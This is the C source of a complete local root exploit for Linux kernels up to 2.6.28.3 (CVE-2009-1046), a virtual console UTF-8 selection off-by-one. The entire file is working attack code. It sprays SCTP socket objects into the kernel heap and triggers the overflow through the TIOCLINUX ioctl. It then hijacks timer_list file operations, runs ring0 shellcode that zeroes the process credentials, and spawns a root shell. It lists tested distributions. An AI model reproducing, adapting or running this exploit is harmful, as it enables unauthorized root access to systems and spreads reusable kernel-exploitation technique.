/* CVE-2009-1046 Virtual Console UTF-8 set_selection() off-by-one(two) Memory Corruption * Linux Kernel <= 2.6.28.3 * * coded by: sgrakkyu <at> antifork.org * http://kernelbof.blogspot.com/2009/07/even-when-one-byte-matters.html * * Dedicated to all people talking nonsense about non exploitability of kernel heap off-by-one overflow * * NOTE-1: you need a virtual console attached to the standard output (stdout) * - physical login * - ptrace() against some process with the same uid already attached to a VC * - remote management .. * * NOTE-2: UTF-8 character used is: U+253C - it seems to be supported in most standard console fonts * but if it's _not_: change it (and change respectively STREAM_ZERO and STREAM_ZERO_ALT defines) * If you use an unsupported character expect some sort of recursive fatal ooops:) * * Designed to be built as x86-64 binary only (SLUB ONLY) * SCTP stack has to be available * * Tested on target: * Ubuntu 8.04 x86_64 (2.6.24_16-23 generic/server) * Ubuntu 8.10 x86_64 (2.6.27_7-10 genric/server) * Fedora Core 10 x86_64 (default installed kernel - without selinux) * */
#define _GNU_SOURCE #include <stdio.h> #include <sched.h> #include <errno.h> #include <netinet/in.h> #include <netinet/sctp.h> #include <arpa/inet.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/ioctl.h> #include <stdlib.h> #include <string.h> #include <linux/tiocl.h> #include <sys/stat.h> #include <fcntl.h> #include <signal.h> #include <sys/mman.h> #include <sched.h> #include <unistd.h> #include <fcntl.h>
#ifndef __x86_64__ #error "Architecture Unsupported" #error "This code was written for x86-64 target and has to be built as x86-64 binary" #else
#ifndef __u8 #define __u8 uint8_t #endif #ifndef __u16 #define __u16 uint16_t #endif #ifndef __u32 #define __u32 uint32_t #endif #ifndef __u64 #define __u64 uint64_t #endif
#define STREAM_ZERO 10 #define STREAM_ZERO_ALT 12
#define SCTP_STREAM 22 #define STACK_SIZE 0x1000 #define PAGE_SIZE 0x1000 #define STRUCT_PAGE 0x0000000000000000 #define STRUCT_PAGE_ALT 0x0000000100000000 #define CODE_PAGE 0x0000000000010000 #define LOCALHOST "127.0.0.1" #define KMALLOC "kmalloc-128" #define TIMER_LIST_FOPS "timer_list_fops"
#define __msg_f(format, args...) \ do { fprintf(stdout, format, ## args); } while(0)
#define __msg(msg) \ do { fprintf(stdout, "%s", msg); } while(0)
#define __fatal_errno(msg) \ do { perror(msg); __free_stuff(); exit(1); } while(0)
#define __fatal(msg) \ do { fprintf(stderr, msg); __free_stuff(); exit(1); } while(0)
#define CJUMP_OFF 13 char ring0[]= "\x57" // push %rdi "\x50" // push %rax "\x65\x48\x8b\x3c\x25\x00\x00\x00\x00" // mov %gs:0x0,%rdi "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41" // mov xxx, %rax "\xff\xd0" // callq *%rax "\x58" // pop %rax "\x5f" // pop %rdi "\xc3"; // retq
/* conn struct */ static __u16 srvport; struct sockaddr_in server_s; static struct sockaddr_in caddr;
/* some fds.. */ static int g_array[10]; static int fd_zmap_srv=-1; static int kmalloc_fd=-1; static int unsafe_fd[4] = {-1,-1,-1,-1};
/* misc */ static int dorec = 0, cankill=1, highpage=0; static char cstack[STACK_SIZE*2]; static __u16 zstream=STREAM_ZERO; static __u32 uid,gid; static __u64 fops; static pid_t child=0; static char symbuf[20000];
static void __free_stuff() { int i; for(i=3; i<2048; i++) { if((unsafe_fd[0] == i || unsafe_fd[1] == i || unsafe_fd[2] == i || unsafe_fd[3] == i)) continue;
close(i); } }
static void bindcpu() { cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set); if(sched_setaffinity(0, sizeof(cpu_set_t), &set) < 0) __fatal_errno("setaffinity"); }
/* parse functions are not bof-free:) */ static __u64 get_fops_addr() { FILE* stream; char fbuf[256]; char addr[32]; stream = fopen("/proc/kallsyms", "r"); if(stream < 0) __fatal_errno("open: kallsyms");
memset(fbuf, 0x00, sizeof(fbuf)); while(fgets(fbuf, 256, stream) > 0) { char *p = fbuf; char *a = addr; memset(addr, 0x00, sizeof(addr)); fbuf[strlen(fbuf)-1] = 0; while(*p != ' ') *a++ = *p++; p += 3; if(!strcmp(p, TIMER_LIST_FOPS)) return strtoul(addr, NULL, 16); }
return 0; }
static int get_total_object(int fd) { char name[32]; char used[32]; char total[32]; char *ptr[] = {name, used, total}; int ret,i,toread=sizeof(symbuf)-1; char *p = symbuf;
lseek(fd, 0, SEEK_SET); memset(symbuf, 0x00, sizeof(symbuf)); while( (ret = read(fd, p, toread)) > 0) { p += ret; toread -= ret; }
p = symbuf; do { for(i=0; i<sizeof(ptr)/sizeof(void*); i++) { char *d = ptr[i]; while(*p != ' ') *d++ = *p++; *d = 0; while(*p == ' ') p++; } while(*p++ != '\n'); if(!strcmp(KMALLOC, name)) return atoi(total);
} while(*p != 0); return 0; }
static void ring0c(void* t) { int i; __u32 *p = t; for(i=0; i<1100; i++,p++) { if(p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) { p[0] = p[1] = p[2] = p[3] = 0; p[4] = p[5] = p[6] = p[7] = 0; /* dont care about caps */ break; } } }
static int get_kmalloc_fd() { int fd; fd = open("/proc/slabinfo", O_RDONLY); if(fd < 0) __fatal_errno("open: slabinfo"); return fd; }
static int write_sctp(int fd, struct sockaddr_in *s, int channel) { int ret; ret = sctp_sendmsg(fd, "a", 1, (struct sockaddr *)s, sizeof(struct sockaddr_in), 0, 0, channel, 0 ,0); return ret; }
static void set_sctp_sock_opt(int fd, __u16 in, __u16 out) { struct sctp_initmsg msg; int val=1; socklen_t len_sctp = sizeof(struct sctp_initmsg); getsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, &len_sctp); msg.sinit_num_ostreams=out; msg.sinit_max_instreams=in; setsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, len_sctp); setsockopt(fd, SOL_SCTP, SCTP_NODELAY, (char*)&val, sizeof(val)); }
static int create_and_init(void) { int fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP); if(fd < 0) __fatal_errno("socket: sctp"); set_sctp_sock_opt(fd, SCTP_STREAM, SCTP_STREAM); return fd; }
static void connect_peer(int fd, struct sockaddr_in *s) { int ret; ret = connect(fd, (struct sockaddr *)s, sizeof(struct sockaddr_in)); if(ret < 0) __fatal_errno("connect: one peer"); }
static void conn_and_write(int fd, struct sockaddr_in *s, __u16 stream) { connect_peer(fd,s); write_sctp(fd, s, stream); }
static int clone_thread(void*useless) { int o = 1; int c=0,idx=0; int fd, ret; struct sockaddr_in tmp; socklen_t len;
bindcpu(); server_s.sin_family = PF_INET; server_s.sin_port = htons(srvport); server_s.sin_addr.s_addr = inet_addr(LOCALHOST);
fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP); if(fd < 0) return -1;
set_sctp_sock_opt(fd, SCTP_STREAM, SCTP_STREAM); setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char *)&o, sizeof(o));
ret = bind(fd, (struct sockaddr *)&server_s, sizeof(struct sockaddr_in)); if(ret < 0) return -1;
ret = listen(fd, 100); if(ret < 0) return -1;
len = sizeof(struct sockaddr_in); while((ret = accept(fd, (struct sockaddr *)&tmp, &len)) >= 0) { if(dorec != 0 && c >= dorec && idx < 10) { g_array[idx] = ret; if(idx==9) { fd_zmap_srv = ret; caddr = tmp; break; } idx++; } c++; write_sctp(ret, &tmp, zstream); } sleep(1); return 0; }
static int do_mmap(unsigned long base, int npages) { void*addr = mmap((void*)base, PAGE_SIZE*npages, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
if(MAP_FAILED == addr) return -1;
memset(addr, 0x00, PAGE_SIZE*npages); return 0; }
pid_t start_listener() { pid_t pid; pid = clone(clone_thread, cstack+STACK_SIZE-8, CLONE_VM|CLONE_FILES|SIGCHLD, NULL); return pid; }
static void do_socks(struct sockaddr_in *s, __u16 stream) { int i,fd; int n_objs = get_total_object(kmalloc_fd), tmp_n_objs; int next=8;
for(i=0; next != 0; i++) { fd = create_and_init();
tmp_n_objs = get_total_object(kmalloc_fd); if(!dorec && tmp_n_objs != n_objs) dorec=i;
conn_and_write(fd, s, stream); if(dorec) next--; } }
static void clr(int fd) { /* use termcap instead..*/ write(fd, "\33[H\33[J", 6); }
static char tiobuffer[2048]; void alloc_tioclinux() { int i; char out[128*3]; /* Unicode Character 'BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL' (U+253C) */ char utf8[3] = { 0xE2, 0x94, 0xBC }; //char utf8[3] = { 0xE2, 0x80, 0xBC }; struct tiocl_selection *sel; char *t; void *v = malloc(sizeof(struct tiocl_selection) + 1); t = (char*)v; sel = (struct tiocl_selection *)(t+1); memset(out, 0x41, sizeof(out)); for(i=0; i<128; i++) { tiobuffer[(i*3)]=utf8[0]; tiobuffer[(i*3)+1]=utf8[1]; tiobuffer[(i*3)+2]=utf8[2]; }
*t = TIOCL_SETSEL; sel->xs = 1; sel->ys = 1; sel->xe = 43; //sel->xe = 42; /* no overflow */ sel->ye = 1; write(1, tiobuffer, sizeof(tiobuffer)); if(ioctl(1, TIOCLINUX, v) < 0) __fatal("[!!] Unable to call TIOCLINUX ioctl(), need stdout to be on a virtual console\n"); }
static void migrate_evil_fd() { int i; pid_t child;
__msg("[**] Migrate evil unsafe fds to child process..\n"); child = fork(); if(!child) {
/* preserve evil fds */ setsid(); if(!cankill) /* cant die .. */ while(1) sleep(1); else { sleep(10); /* wait execve() before */ for(i=0; i<4; i++) close(unsafe_fd[i]);
exit(1); } } else { if(!cankill) __msg_f("[**] Child process %d _MUST_ NOT die ... keep it alive:)\n", child); } }
static void trigger_fault() { char *argv[]={"/bin/sh", NULL}; int fd,i;
fd = open("/proc/timer_list", O_RDONLY); if(fd >= 0) { ioctl(fd, 0, 0); __free_stuff(); migrate_evil_fd(); for(i=0; i<4; i++) close(unsafe_fd[i]);
if(!getuid()) { __msg("[**] Got root!\n"); execve("/bin/sh", argv, NULL); } } else { __msg("[**] Cannot open /proc/timer_list"); __free_stuff(); } }
static void overwrite_fops( int sender, struct sockaddr_in *to_receiver, int receiver) { char *p = NULL; if(!highpage) p++; else p = (void*)STRUCT_PAGE_ALT;
__u64 *uip = (__u64*)p; *uip = fops; write_sctp(sender, to_receiver, 1); sleep(1); trigger_fault(); }
static __u16 get_port() { __u16 r = (__u16)getpid(); if(r <= 0x400) r+=0x400; return r; }
int main(int argc, char *argv[]) { int peerx, peery,i; __u64 *patch;
srvport = get_port();
uid=getuid(); gid=getgid(); fops=get_fops_addr() + 64; if(!fops) { __msg("[!!] Unable to locate symbols...\n"); return 1; }
__msg_f("[**] Patching ring0 shellcode with userspace addr: %p\n", ring0c); patch = (__u64*)(ring0 + CJUMP_OFF); *patch = (__u64)ring0c;
__msg_f("[**] Using port: %d\n", srvport); __msg("[**] Getting slab info...\n"); kmalloc_fd = get_kmalloc_fd(); if(!get_total_object(kmalloc_fd)) __fatal("[!!] Only SLUB allocator supported\n");
__msg("[**] Mapping Segments...\n"); __msg("[**] Trying mapping safe page..."); if(do_mmap(STRUCT_PAGE, 1) < 0) { __msg("Page Protection Present (Unable to Map Safe Page)\n"); __msg("[**] Mapping High Address Page (dont kill placeholder child)\n"); if(do_mmap(STRUCT_PAGE_ALT, 1) < 0) __fatal_errno("mmap");
cankill=0; /* dont kill child owning unsafe fds.. */ highpage=1; /* ssnmap in higher pages */ zstream=STREAM_ZERO_ALT; } else __msg("Done\n");
__msg("[**] Mapping Code Page... "); if(do_mmap(CODE_PAGE, 1) < 0) __fatal_errno("mmap"); else __msg("Done\n");
memcpy((void*)CODE_PAGE, ring0, sizeof(ring0));
__msg("[**] Binding on CPU 0\n"); bindcpu();
__msg("[**] Start Server Thread..\n"); child = start_listener(); sleep(3); do_socks(&server_s, zstream); for(i=0; i<7; i++) { close(g_array[8-1-i]); } clr(1); alloc_tioclinux(); // trigger overflow peerx = create_and_init(); connect_peer(peerx, &server_s); peery = create_and_init(); connect_peer(peery, &server_s); sleep(1);
unsafe_fd[0] = peerx; unsafe_fd[1] = g_array[8]; unsafe_fd[2] = peery; unsafe_fd[3] = g_array[9]; __msg("\n"); __msg_f("[**] Umapped end-to-end fd: %d\n", fd_zmap_srv); __msg_f("[**] Unsafe fd: ( ");
for(i=0; i<4; i++) __msg_f("%d ", unsafe_fd[i]); __msg(")\n");
__msg("[**] Hijacking fops...\n"); overwrite_fops(fd_zmap_srv, &caddr, peery);
/* if u get here.. something nasty happens...may crash..*/ __free_stuff(); __msg("[**] Exploit failed.. freezing process\n"); kill(getpid(), SIGSTOP); return 0; }
#endif
|